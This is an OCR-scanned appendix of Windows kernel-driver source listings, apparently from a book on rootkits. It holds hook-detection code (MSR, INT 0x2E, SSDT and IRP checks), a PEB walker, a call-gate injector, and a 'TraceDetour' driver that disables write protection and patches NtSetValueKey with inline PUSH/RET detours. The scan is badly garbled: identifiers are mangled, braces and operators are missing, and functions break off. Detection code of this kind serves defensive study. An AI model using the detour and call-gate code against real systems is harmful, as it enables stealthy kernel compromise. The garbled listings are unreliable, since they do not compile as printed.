CALL_GATE_DESCRIPTOR cg; calledFlag = exe; DBG_TRACE( "Driver Entry", "Establishing other Dri verObject function pointers"); (*pDriverObject) . DriverUnload = Unload; walkGDT(}; DBG_TRACE("Driver Entry", "Injecting new callgate"); cg = buildCallGate( (BYTE*)CallGateProc);
778
Appendix
/* I III
+ + +
usr.C
+ + +
unsigned long reg; callOperand [2] =0x320; _asm call fword ptr [callOperand];
}
+ + +
+++++++++++111111111111111111111111111111111111111111111111111111111111111111*/
/ /system includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - -#include "ntddk.h" / /local includes- - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include "dbgmsg . h" #include "datatype . h" / /Globals - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -extern Zl<oQuerySystemlnformation
(
/ fuse undocumented enumeration value and structure (see above) #define SysterrModulelnformation 11
Appendix
1779
Appendix
I Chapter 5
#define SIZEJILENAME
256
typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved[2]; PVOID Base; Il linear base address ULONG Size; Ii size in bytes ULONG Flags; USHORT Index; USHORT Unknown ; USHORT LoadCount ; USHORT ModuleNameOffset; CHAR ImageName[SIZEJILENAME]; }SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
PMODULE_ARRAY moduleArray = NULL; #define NAME_NTOSKRNL " \ \ SystemRoot \ \system32\ \ntkrnlpa ,exe" #define NAME_DRIVER "\ \SystemRoot\ \System32\ \ Drivers\ \Beep,SYS" WCHAR devNameBuffer[] = L" \\Device\\Beep";
{
DWORD nBytes; PMODULE_ARRAY modArray; NTSTATUS ntStatus ;
Ilc all to determine size of module list (in bytes) Z-.QuerySystemInformation ( SystemModuleInformation, IISYSTEM_INFORMATION_CLASS SystemInformationClass &nBytes, II PVOID SystemInformation, e, II ULONG SystemInformationLength, &nBytes II PULONG ReturnLength ); Ii now that we know how big the list is, allocate memory to store it modArray = (PMODULE_ARRAY)ExAllocatePool(PagedPool, nBytes); if(modArray==NULL){ return(NULL) ; } Il we now have what we need to actually get the info array nt5tatus = Z-.QuerySystemInformation ( SystemModuleInformation, IISYSTEM_INFORMATION_CLASS SystemInformationClass modArray, II PVOID SystemInformation , nBytes, II ULONG SystemInformationLength, e II PULONG ReturnLength ); if(! NT_SUCCESS(ntStatus
{
ExFreePool(modArray) ; return(NULL) ;
return(modArray) ;
}/*e nd getModuleArray() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I
780
Appen di x
II can validate this by using kd >lm (Kd .exe extension command) void DisplayModulelnfo(SYSTEM_roDULE_INFORMATION mod) { DbgPrint( "Found [%s]: Base=%e8x , Size=%u" ,mod. ImageName,mod. Base,mod.Size) ; return; }/*end DisplayModulelnfo() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I
Ilcan validate this by using kd >lm (Kd.exe extension command) void DisplayModuleArray(ProDULE_ARRAY modArray) { DWORD i; for(i=0; i < ( *modArray). nModules; i++) { DisplayModulelnfo( ( *modArray) . element[ i]);
return;
}/*end OisplayModuleArray() -- - ----- - - ----- - - ---- - ----- - ------ - ----- ------ - ---*1
PSYSTEM_roDULE_INFORMATION getModulelnformation(CHAR* imageName, ProDULE_ARRAY modArray) { DWORD i; for( i =0; i <( *modArray) . nModules; i ++ ) { if(strcmp(imageName, *modArray) .element[i]). ImageName)==0) { return(& *modArray) .element[i];
} return(NULL) ; }/*end getModulelnformation() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I
II SSDT Functions- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#pragma pack(l) typedef struct ServiceDescriptorEntry { DWORD *KiServiceTable ; DWORD *CounterBaseTable; DWORD nSystemCalls; DWORD *KiArgumentTable; } SDE, *PSDE; #pragma pack ()
typedef struct ServiceDescriptorTable { SDE ServiceDescriptor[ 4]; }SDT; _declspec(dllimport) SDE KeServiceDescri ptorTable;
IIMSR Functions- - --- - - ----- - ------- - ----- - ---- - ----- ------------- ----- ------ --#define nCPUS 32
typedef NTSTATUS (_stdcall * KeSetAffinityThreadPtr) ( PKTHREAD thread, KAFFINITY affinity ); #define IA32_SYSENTER_EIP 0x176 typedef struct _MSR { DWORD loValue; DWORD hi Value; }MSR, *PMSR;
Appendix 1781
Appendix / Chapter 5
mov ecx, regAddress; rdmsr ; mov hiValue, edx; mov 10Value, eax;
return ;
}/ *end getMSR ( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * / void checkOneMSR(PSYSTEM_fIODULE_INFORMATIDN mod) { MSR msr; DWORD start; DWORD end; start = (DWORD)(*mod) . Base; end = (start + (*mod) .Size) - 1; DBG]RINB (" [ checkOneMSR j: Module start=%e8x\tend=%e8x\n" , start, end) ; getMSR (IA32 _SYSENTER_ EIP, &msr); DBG]RINT2(" [checkOneMSRj : MSR value=%e8x" ,msr .10Value); ifmsr .10Value < start):: (msr .10Value > end)) { DBG_TRACEC'checkOneMSR","MSR is out of range!");
return;
}/*end checkOneMSR() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / void checkAllMSRs(PSYSTEM_fIODULE_INFORMATIDN mod) { KeSetAffinityThreadptr KeSetAffinityThread; UNICODE_STRING procName; KAFFINITY cpuBitMap; PKTHREAD pKThread ; DWORD i = 8; RtlIni tUnicodeString (&procName, L" KeSetAffini tyThread") ; KeSetAffini tyThread = (KeSetAffini tyThreadptr )r-'mGetSystemRoutineAddress (&procName) ; cpuBi tMap KeQueryActi veProcessors 0 ; pKThread = KeGetCurrentThreadO; DBG_TRACE C' checkAllMSRs", "Performing a sweep of all CPUs"); for(i = 8; i < nCPUS ; i++) { KAFFINITY currentCPU = cpuBitMap & (1 i); if(currentCPU ! = 8) { DBG]RINT2( " [checkAllMSRsj : CPU[%uj is being checked\n",i); KeSetAffini tyThread(pKThread, currentCPU); checkOneMSR(mod) ;
782
I Appen di X
PsTerminateSystemThread ( STATUS_SUCCESS) ;
return;
}/*end checkAllMSRs () - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -* I
I l INT ax2E Functions- - ----- - ---- - - ------ - ---- - - ----- - ----- - - ---------- -- ------#define SYSTEM_SERVICE_VECTOR ax2e #pragma pack(l) typedef struct _IOTR
{
WORO nBytes; WORO baseAddressLow; WORO baseAddressHi ; }IOTR; typedef struct _IOT_DESCRIPTOR
I 1- - - - - -- - - - - - - - - - - - - - - - -- -BYTE unused: S; BYTE zeroes: 3; BYTE gate Type : 5; BYTE DPL : 2; BYTE P:l ; WORD offset16_31; }IOT_DESCRIPTOR, * PIOT_DESCRIPTOR; #pragma pack() DWORD makeDWORD(WORD hi, WORD 10)
{
DWORD value ; value = a; value = value : (DWORD)hi; value = value 16; value = value : (DWORD)lo; return(value); }/*end makeDWORD() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -* I void checkOneInt2E(PSYSTEM]ODULE_INFORMATION mod)
{
IOTR idtr; PIOT_DESCRIPTOR idt; DWORD addressISR; DWORD start; DWORD end; start = (DWORD)( * mod) .Base; end = (start + (*mod) . Size) - 1; DBG_PRINT3(" [checkOneInt2E): Module start=%e8x\tend=%e8x\n", start,end);
_asm eli ;
sidt idtr;
sti;
Appendix
I 783
Appendix / Chapter 5
); DBG]RINT2(" [checkOneInt2E]: address=%98x", addressISR); ifaddressISR < start):: (addressISR > end { DBG_TRACE("checkOneInt2E", "MSR is out of range! ");
}/*end checkOneInt2E () - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - -- - -* I
void checkAllInt2E(PSYSTEM]OOUlE_INFORMATION mod) { KeSetAffini tyThreadptr KeSetAffinityThread; UNICODE_STRING procName; KAFFINITY cpuBi tMap; PKTHREAD pKThread; DhQRD i = e; RtlInitUnicodeString(&procName , l "KeSetAffini tyThread"); KeSetAffinityThread = (KeSetAffini tyThreadptr )~tSystemRoutineAddress (&procName) ; cpuBitMap = KeQueryActiveProcessors(); pKThread = KeGetCurrentThread () ; DBG_TRACE("checkAllInt2E", "Performing a sweep of all CPUs"); forti = e; i < nCPUS; i++) { KAFFINITY currentCPU = cpuBitMap & (1 i); if( currentCPU ! = e) { DBG_ PRINT2("[checkAllInt2E] : CPU[%u] is being checked\n",i); KeSetAffini tyThread (pKThread , currentCPU); checkOneInt2E(mod) ;
returnj
KeSetAffini tyThread ( pKThread, cpuBitMap) ; PsTerminateSystemThread (STATUS_SUCCESS) ; r eturn ; }/*end checkAllInt2E() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -*I
IIKernel-Space Checkers- - - - - - - -- - - - - - - - - - - - - - - - - - - -- - - - - - -- - - - --- - - - -- - - - - - - - -void checkAllCPUs (PKSTART_ROUTINE procAddress, SYSTEM_MODULE_INFORMATION mod) { HANDLE hThread ; OBJECTyTIRIBUTES ini tializedAttributes; PKTHREAD pkThread; LARGE_INTEGER timeout; InitializeObjectAttributes ( &initializedAttributes, llOUT POBJECT_ATIRIBUTES InitializedAttributes NUll, I lIN PUNICODE_STRING ObjectName e, I lIN UlONG Attributes NULL, I lIN HANDLE RootDirectory NUll I lIN PSECURITY_DESCRIPTOR (NUll to accept the default security) ); PsCreateSystemThread ( I lOUT PHANOlE ThreadHandle &hThread, THREAD_All_ACCESS, I lIN UlONG DesiredAccess &initializedAttributes, IIIN POBJECT_ATTRIBUT ES ObjectAttributes OPTIONAL NUll, I lIN HANDLE ProcessHandle OPTIONAL llOUT PClIENT_ID ClientId OPTIONAL NUll , (PKSTART_ROUTINE) procAddress, I lIN PKSTART_ ROUTINE StartRoutine
784
Appen di X
(PVOID)&mod ); ObReferenceObjectByHandle ( hThread, THREAD_ALL_ACCESS, NULL, Ke rnelMode, &pkThread, NULL ); timeout.QuadPart = 500; while
(
I lIN HANDLE Handle I lI N ACCESS_MASK DesiredAccess I/IN POBJECT_TYPE ObjectType OPTIONAL I/IN KPROCESSOR_r-'OOE AccessMode I lOUT PVOID 'Object I lOUT POBJECT_HANDLE_INFORMATION HandleInformation OPTIONAL
I I empty loop
} ZwClose(hThread) ; return(TRUE); }/'end checkAllCPUs() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - _. I
DWORD' ssdt; DWORD nCalls ; DWORD i; DWORD start; DWORD end; start = (DWORD)mod. Base; end = (start + mod.Size) - 1; DBG_PRINT3(" [checkSSDT]: Module start=%e8x\tend=%e8x\n", start,end) ;
for( i=B; i <nCalls; i++, ssdt++) { DBG]RINT3("[checkSSDT]: call[%e3u] = %e8x\n",i,'ssdt); if ' ssdt < start):: ( *ssdt > end { DBG_TRACE("checkSSDT", "SSDT entry is out of range");
Appendix
I 785
Appendix I Chapter 5
void checkDriver(SYSTEMJQOULE_INFORMATION mod, WCHAR* name) { PFILE_OBJECT hookedFile; PDEVICE_OBJECT hookedDevice; PDRIVER_ OBJ ECT hookedDri ver; NTSTATUS ntStatus; UNICODE_STRING deviceName; DWORD i; DWORD start; DWORD end; start = (DWORD)mod.Base; end = (start + mod.Size) - 1; DBG_PRINT3(" [checkDriver]: Module start=%e8x\tend=%e8x\n", start,end) ; hookedFile hookedDevice hookedDri ver = NULL; = NULL; = NULL;
RtlInitUnicodeString(&deviceName, name); ntStatus = IoGetDeviceObjectPointer ( &deviceName , I lIN PUNICODE_STRING ObjectName FILE_READ_DATA, I lIN ACCESS_MASK DesiredAccess &hookedF ile , llOUT PFILE_OBJECT *FileObject &hookedDevice I lOUT PDEVICE_OBJECT *DeviceObject ); if( ! NT_SUCCESS(ntStatus { DBG_ TRACE ("checkDriver", "Failed to get Device Object POinter");
return;
DBG_TRACE( "checkDriver", "Acquired device object pointer"); hookedDriver = ( *hookedDevice) . DriverObject ;
1*
Nota Bene: might also want to check the following routines PDRIVER_ INITIALIZE Driverlnit PDRIVER_STARTIO DriverStartIo PDRIVER_UNLOAD DriverUnload
*I
for(i=IRP _MJ_CREATE; i <=IRP_MJ_MAXIr1..I'1_FUNCTION; i++) { DWORD address = (DWORD) *hookedDriver).MajorFunction[i]); if( (address < start):: (address> end { if(address) {
1*
caveat emptor: Many times this will point to nt! IopInvalidDeviceRequest:
*I
DBG]RINT3("[checkDriver]:IRP[%e3u]=%e8x is OUT OF RANGE!",i,address); else { DBG_PRINT2(" [checkDriver] : IRP[%e3u] =NULL", i);
786
Appendix
if(hookedFile ! = NULL) { DbDereferenceObject (hookedF ile) ; } hookedFile = NULL; return; }/*end checkDriver( )-- - - - ----- - - - ---- - - ---- - ----- ------ ------- ----- - ------ - -- Of / /DRIVER_OBJECT Functions - - - - - - - - -- - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -void Unload ( IN PDRIVER_ OBJ ECT pDri verObj ect
DBG_TRACE ("Unload", "Received signal to unload the driver"); if(moduleArray! =NULL){ ExFreePool(moduleArray); }
return;
}/*end Unload() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* /
/*
DriverEntry - main entry point of a kernel mode driver
*/
NTSTATUS DriverEntry ( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING regPath
DBG_TRACE (" Driver Entry", "Establishing other DriverObject function pointers") ; ( *pDriverObject) . DriverUnload = Unload; moduleArray = getModuleArray(); if(moduleArray! =NULL) { PSYSTEM]!CX)ULE_INFORMATION module; module = getModuleInformation (NAME_ NTOSKRNL, moduleArray) ; i f(module! =NULL) { DisplayModuleInfo( *module); checkMSR( *module) ; checkINT2E( *module) ; checkSSDT( *module);
/*+++++++++++++++++++++++++++++++++++++++++++++++++111 I I I It I I I I 11+++++11 I I I I II I
+
+
usr.c
+ +
Appendix 1787
Appendix / Chapter 5
#include "windows . h" #include "psapL h" #include "stdio . h" #pragma comment (lib, "psapLlib") #define MAX_DLLS #define SZ_FILE_NAME 128 512
/ / This basically wraps the DLL name and fl()()lJLEINFO typedef struct _fl()()lJLE_DATA { char fileName[SZJILE_NAME) ; fl()()lJLEINFO dllInfo ; }fl()()lJLE_DATA, ' Pfl()()lJLE_DATA;
typedef struct _fl()()lJLE_ LIST { HANDLE handleProc ; HI'QOULE handleDLLs [MAX_DLLS); DWORD nDLLs; Pfl()()lJLE_DATA moduleArray; }fl()()lJLE_LIST, ' Pfl()()lJLE_ LIST;
//handle to process / /handles to loaded DLLs / /number of loaded DLLs / /1 element per DLL
void walkModuleList(Pfl()()lJLE_LIST list) { DWORD i; for(i=e ; i Olist) . nDLLs ; i++) { / f using wide-char format, hence capital - S printf("DLL %5\n", ( Olist) . moduleArray[i). fileName); printf ( " \ tBase=%e8x\ n" , ( Olist) . moduleArray[ i). dllInfo .lpBaseOfDll) ; printf ( " \ tSize=%e8x\n " , ( Olist) . moduleArray[ i) . dllInfo . SizeOfImage) ;
return j
}/' end walkModuleList() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - __ - - - - - - - - - - - _0/ void buildModuleArray(Pfl()()lJLE_LIST list) { DWORD i ; BOOL retVal ; for(i =e; i Olist) . nDLLs; i++) { DWORD nBytesCopied ; fl()()lJLEINFO mod Info; nBytesCopied = GetModuleFileNameEx ( ( Olist) . handleProc, / /HANOLE hProcess ( Olist) .handleDLLs[iJ, / /fMlOULE hModule Olist) . moduleArray[ij). fileName, //LPTSTR lpFilename SZJILE_NAME / /DWORD nSize ); if(nBytesCopied==e) { printf (" [buildModuleArray) : handleDLLs [%d) GetModuleFileNameEx() failed", i) ; ' list) . moduleArray[i). fileName[e)=' \e' ;
retVal = GetModuleInformation (
788
Appendix
); if(retVal==0) { printf( " [buildModuleArrayj : handleDLLs[%dj GetModulelnformationO failed", i); 'list) .rnoduleArray[ij) .dllInfo . lpBaseDfDll=0; 'list) .rnoduleArray[ ij) . dlllnfo . SizeDflmage=0; 'list) .rnoduleArray[ij) . dlllnfo. EntryPoint =0; } ('list) .rnoduleArray[ij.dlllnfo = rnodlnfo;
return; }/'end buildModuleArray() - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -, / void buildModuleList(Pfo'JDULE_LIST list) { BOOL retVal; IJI..ORD bytesNeeded; ('list) . handleProc = GetCurrentProcessO; retVal = EnumProcessModules ( / /HANDLE hProcess ('list) . handleProc, ('list) . handleDLLs, / /IKXJULE' IphModule (IJI..ORD)MAX_DLLS' sizeof(IKXJULE) , / /IJI<.ORD cb / /LPIJI..ORD IpcbNeeded &bytesNeeded ); if(retVal==0) { printf(" [buildModuleListj: call to EnumProcessModulesO failed\n") ; ('list) . nDLLs = 0; returnj } ('list). nDLLs = bytesNeeded/sizeof(IKXJULE); if'list) . nDLLs > MAX_DLLS) { printfC' [buildModuleListj: #DLLs(%d) > MAX_DLLS\n", ('list) . nDLLs); ('list) .nDLLs = 0; return; } ('list) .moduleArray = (Pfo'JDULE_DATA)malloc (sizeof(fo'JDULE_DATA) '( ('list) .nDLLs; buildModuleArray( list);
returnj
}/'end buildModuleList() - - - - - - - - - - - - - - - - - - - - -- - - - -- - - - - - - - - - - - - - - - - - -- - - - - - - -, /
void mainO { fo'JDULE_LIST list; buildModuleList(&list) ; buildModuleArray(&list) ; walkModuleList(&list) ; return; }/'end main() - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -- - - - - -- - - - --- - - - - - -- - - - -- - -' /
Ap pe nd ix
I 789
Appendix I Chapter 5
Proied: ParsePE.
Files: ParsePEB.c
/*++++++++++++111 I I I IIII I 11++++++++++++++++++++++++111 I I I III I I I III I I I 11++++++++
+ + +
ParsePEB . c
+ + +
III I I I I 11++++++++++++++++++++++++++1 I I I I I I I I I I I I I I I I I I I I II I I I I II I I I I II I I I I I I I
*/
#include "windows . h" #inc l ude "Wintern!. h" #include .. stdio. h" #define NTSTATUS lONG #define NT_SUCCESS(Status)
(NTSTATUS )(Status
) =
8)
{
BYTE Reservedl[S6]; UNICODE_STRING ImagePathName; UNICODE_STRING Commandline; BYTE Reserved2[92]; RTl_USER]ROCESS_PARAMETERS, * PRTl_USER]ROCESS]ARAMETERS; typedef struct _lDR_DATA_TAB lE_ENTRY { BYTE Reservedl[8]; LIST_ENTRY InMemoryOrderlinks; BYTE Reserved2[8]; PYOID DllBase; / /base address BYTE Reserved3[8]; UNICODE_STRING FullDllName; //name of Dll BYTE Reserved4 [28] ; UlONG CheckSum; UlONG TimeDateStamp; BYTE Reserved5[12]; lDR_DATA_TABLE_ ENTRY, * PlDR_DATA_TABLE_ENTRY; typedef struct ]EB_lDR_DATA
{
BYTE Reservedl [28]; LIST_ENTRY InMemoryOrderModulelist; / / pointer to linked list of l DR_DATA_TABlE_ENTRY elements BYTE Reserved2[8]; PEB_lOR_DATA, * PPEB_ lDR_DATA; typedef struct _MY_PEB
{
BYTE Reservedl [2]; BYTE BeingDebugged ; BYTE Reserved2 [9]; PPEB_lDR_DATA loaderData; / /this is what we're interested in, see above PRTL USER PROCESS PARAMETERS ProcessParameters; BYTE- Reserved3[ 448]; UlONG SessionId ; } MY]EB, *MY]PEB; typedef NTSTATUS (WINAPI * NtQueryInformationProcessptr) ( HANDLE ProcessHandle,
790 I Appendix
Project: PorsePEB
);
PEB" getPEBWi thASMO { PEB" peb; _asm MOV EAX, FS: (30H] MOV peb, EAX } return(peb) ; }/"end getPEBWi thASM() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -- - - - - - -" / PEB" getPEBO { HMOOULE handleDLL; NtQuerylnformationProcessPtr NtQuerylnformationProcess; NTSTATUS ntStatus; PROCESS_ BASIC_ INFORMATION basiclnfo; handleDLL = LoadLibraryA( "ntdll. dll"); if(handleDLL==NULL) { printf( " [getPEB): LoadlLibrary() failed\n "); return (NULL) ;
NtQuerylnformationProcess (NtQuerylnformationProcessptr)GetProcAddress ( handleDLL , "NtQuerylnformationProcess" ); if(NtQuerylnformationProcess== NULL) { printf(" [getPEB) : GetProcAddressO failed\n"); return(NULL) ;
ntStatus = NtQuerylnformationProcess ( GetCurrentProcess () , / /HANDLE ProcessHandle ProcessBasiclnformation, / /PROCESSINFOClASS ProcesslnformationClass &basiclnfo, / /PVOID Processlnformation sizeof(PROCESS_BASIC_INFORMATION) , / /ULONG ProcesslnformationLength NULL / /PULONG ReturnLength ); if ( ! NT_SUCCESS( ntStatus) ) { printf (" [getPEB): NtQuerylnformationProcess 0 failed\n"); return(NULL) ; return(basiclnfo . PebBaseAddress) ; }/"end getPEB() - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -" /
PLDR_DATA_TABLE_ENTRY getNextLdrDataTableEntry(PLDR_DATA_TABLE_ENTRY ptr) { BYTE "address; address = (BYTE") " ptr) . InMemoryOrderLinks) . Flink;
Appendix 1791
Appendix I Chapter 5
address = address - LIST ENTRY OFFSET; return( (PLDR_DATA_TABLEj"NTRY)address); }/end getNextLdrDataTableEntry()-------------- --- ----------- ----------------"1 void printDLLInfo(PLDR_DATA_TABLE_ENTRY ptr) { printf(" [printDLLInfo] : %S ", (ptr). FullDllName . Buffer); printf( "\t\tBase=%e8x\n", (OWORD) ("ptr) . DllBase) ; return; }/end printDLLInfo() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - -- - - - - - -" I void walkDLLList(MY_PEB" mpeb) { PPEB_LDR_DATA loaderData ; PRTL_USER]ROCESS_PARAMETERS procParams; BYTE" add ress; PLDR_DATA_TABLE_ENTRY curr; PLDR_DATA_TABLE_ENTRY first; OWORD nDLLs; procParams = ("mpeb) .ProcessParameters; printf(" [walkDLLList] : Image Path=%S\n", (procParams). ImagePathName. Buffer); printf(" [walkDLLList]: Command Line=%S\n", ("procParams) . CommandLine . Buffer); loaderOata = ("mpeb). LoaderData ; address = (BYTE")( (loaderData) . InMemoryOrderModuleList) Flink; address = address - LIST_ENTRY_OFFSET; first = (PLDR_DATA_TABLE_ENTRY)address; curr = first; nDLLs=0; do { nDLLs++; printDLLInfo( curr); curr = getNextLdrDataTableEntry( curr);
792 I Appendix
P roject: TroceDetour
Chapter 6
Proied: TraceDetour
Files: kmd.e, ntaddress.e, pakh.h, ntsetvaluekey.e
/*I
+ + +
II I I III I I I I I I I I I I I I I I III I I I I I I I I I 11'1 I I I I I I I II I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
kmd . c
+ + +
1 111111111111111111111111111111111111111+111111111111111111111111111111111111*/
/ /system i ncludes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - -- - - - - - - - - - - -#include "ntddk . h" / / local includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #include "dbgmsg . h" #include "datatype . h" #include "patch . h" #include "ntaddress . c" #include "modwp . c" #include "irql. COO #include "ntsetvaluekey. COO / /Globals - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -PA TCH_INFO patch Info ; / /Generic Oetour Routines- - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -- - - - - - - - - - - -- - - - - - --NTSTATUS VerifySignature(BYTE *fptr, BYTE* signature, IJIooORD sigSize) { IJIooORD i ; DBG_TRACE ( "VerifySignature", "[Mem, Sig]"); for(i=8;i <sigSize; i++) { if(fptr[i] !=signature[iJ) { DBG]RINT3( " [VerifySignature] : [ %a2x, %a2x]", fptr[iJ, signature[i]); return ( STATUS_UNSUCCESSFUL) ;
}
return(STATUS_SUCCESS) ; }/*end VerifySignatureNtSetValueKey() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- -* / / /Get the bytes that will be displaced by the detour jump void GetExistingBytes
(
/ /address of the system call / /bytes t hat will be displaced / /size of displaced bytes / /relative location of displaced bytes
IJIooORD i ; for(i=8;i <patchSize;i++){ oldBytes[i] = oldRoutine[i+offset]; } return; }/*end getExistingBytes() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / / /This is here for debugging void PrintBytes(BYTE* bytes, IJIooORD length) { IJIooORD i;
Appendix 1793
Appendix / Chapter 6
/*
Patch code always has form : PUSH offset RET ; nop ; nop ; . . . [68] [AA][BB][CC][DD]; [c3]; [ge]; [90]; .. . : <-- replace --->: Need to inj ect value of detour function into offset
*/
void InitPatchCode
(
address = (DWORD)newRoutine; dwptr = (DWORD*)&(patchCode[l]); *dwPtr = address ; return; }/*end InitPatchCode( ) - - - - - -- - - - - - -- - - - - - -- - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - -* / void InsertDetour
(
/ / address of the system call / / PUSH offset; RET [nop][nop] .. . / / size of displaced bytes / / relative l ocation of displaced bytes
DWORD i; for(i =e; i <patchSize; i++){ oldRoutine[i+Offset] = patchCode[i] ; } return; }/*end InsertDetour() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ / / DRIVER_OBJECT functions - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - --void Unload(IN PDRIVER_OBJECT pDriverObject) { KIRQL irql ; PKDPC dpcPtr; DBG_TRACE( "Unload " , "Received signal to unload the driver"); DBG_ TRACE ( "Unload" , "Restore original system call"); disableWP_CRe(); irql = RaiseIRQLO ; dpcPtr = AcquireLockO; InsertDetour
(
InsertDetour
(
794
Appen di X
Project: TroceDetour
IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING regPath NTSTATUS ntStatus; KIRQL irql ; PKDPC dpcPtr; DBG_TRACE ( "DriverEntry", "Establishing other DriverObject function pointers"); (*pDriverObject) . DriverUnload = Unload; patchInfo. SystemCall = NtRoutineAddress BYTE*)ZWSetValueKey); InitPatchInfo_NtSetValueKey( &patchInfo) ; ntStatus = VerifySignature
(
i f(ntStatus! =STATUS_SUCCESS) { DBG_TRACE ("DriverEntry", "Failed VerifySignatureNtSetValueKey()"); return (ntStatus) ; DBG_PRINT2 ( " [Dri verEntry] : SystemCall=%e8x\n", patchInfo . SystemCall) ; DBG]RINT2("[DriverEntry]: PrologDetour=%e8x\n",patchInfo.PrologDetour); DBG_PRINT2(" [DriverEntry] : EpilogDetour=%e8x\n", patchInfo. EpilogDetour); GetExistingBytes
(
DBG_TRACE("DriverEntry", "Prolog Bytes that will be displaced"); Print Bytes (patchInfo. PrologOriginal, patchInfo . SizePrologPatch) ; GetExistingBytes
(
DBG_TRACE ("DriverEntry", "Epilog Bytes that will be displaced"); PrintBytes (patchInfo . EpilogOriginal, patchInfo . SizeEpilogPatch) ;
Appendix 1795
Appendix / Chapter 6
InitPatchCode
(
DBG_TRACE ( "DriverEntry", "Prolog Patch Bytes"); PrintBytes(patchInfo. PrologPatch, patch Info . SizePrologPatch); InitPatchCode
(
DBG_TRACE( "DriverEntry", "Epilog Patch Bytes"); PrintBytes (patchInfo. EpilogPatch, patchInfo . SizeEpilogPatch) ; //don't forget to turn off write protection (prevent exBE bug check)!! disableWP_CRe(); DBG_TRACE( "DriverEntry", "Installing detour patch"); irql = RaiseIRQLO; dpcPtr = AcquireLockO; fixupNtSetValueKey(&patchInfo) ; InsertDetour
(
InsertDetour
(
patchInfo . SystemCall, patch Info . EpilogPatch, patch Info . SizeEpilogPatch, patchInfo. EpilogPatchDffset
);
+
+
ntaddress. c
+
+
++111111111++++++++++++++++11111111111111111111111111111111111111111111111111*/
D'nORD *KiServiceTable; D'nORD *CounterBaseTable; D'nORD nSystemCalls; D'nORD *KiArgumentTable; } SDE, *PSDE; #pragma packO _declspec (dllimport) SDE KeServiceDescriptorTable;
796 I Appendix
Project: TraceDetour
D'nORD getSSDTIndex(BYTE* address) { BYTE * addressOfIndex; D'nORD indexValue; addressOfIndex = address+l; indexValue = " ( (PULONG)addressOfIndex); return(indexValue) ; }/"end getSSDTIndex() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I
IIReturn the address of a Nt"O routine given the corresponding Zw*O routine D'nORD NtRoutineAddress(BYTE "address) { D'nORD indexValue; D'nORD *systemCallTable;
systemCall Table = (D'nORD")KeServiceDescriptorTable. KiServiceTable; indexValue = getSSDTIndex( address); return( systemCall Table[ indexValue]); }/*end NtRoutineAddress () -- - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- -* I
/* ++++++++++++++++++++++++++++++++++++1111111111111111111111111111111111IIIII11
+ +
patch.h
+ +
+
#define SZ_SIG_MAX #define SZ]ATCH_MAX 128 32
111111111+++++++++++++111111111111111111111111111111111111111IIIIIII1 t 111111'*/
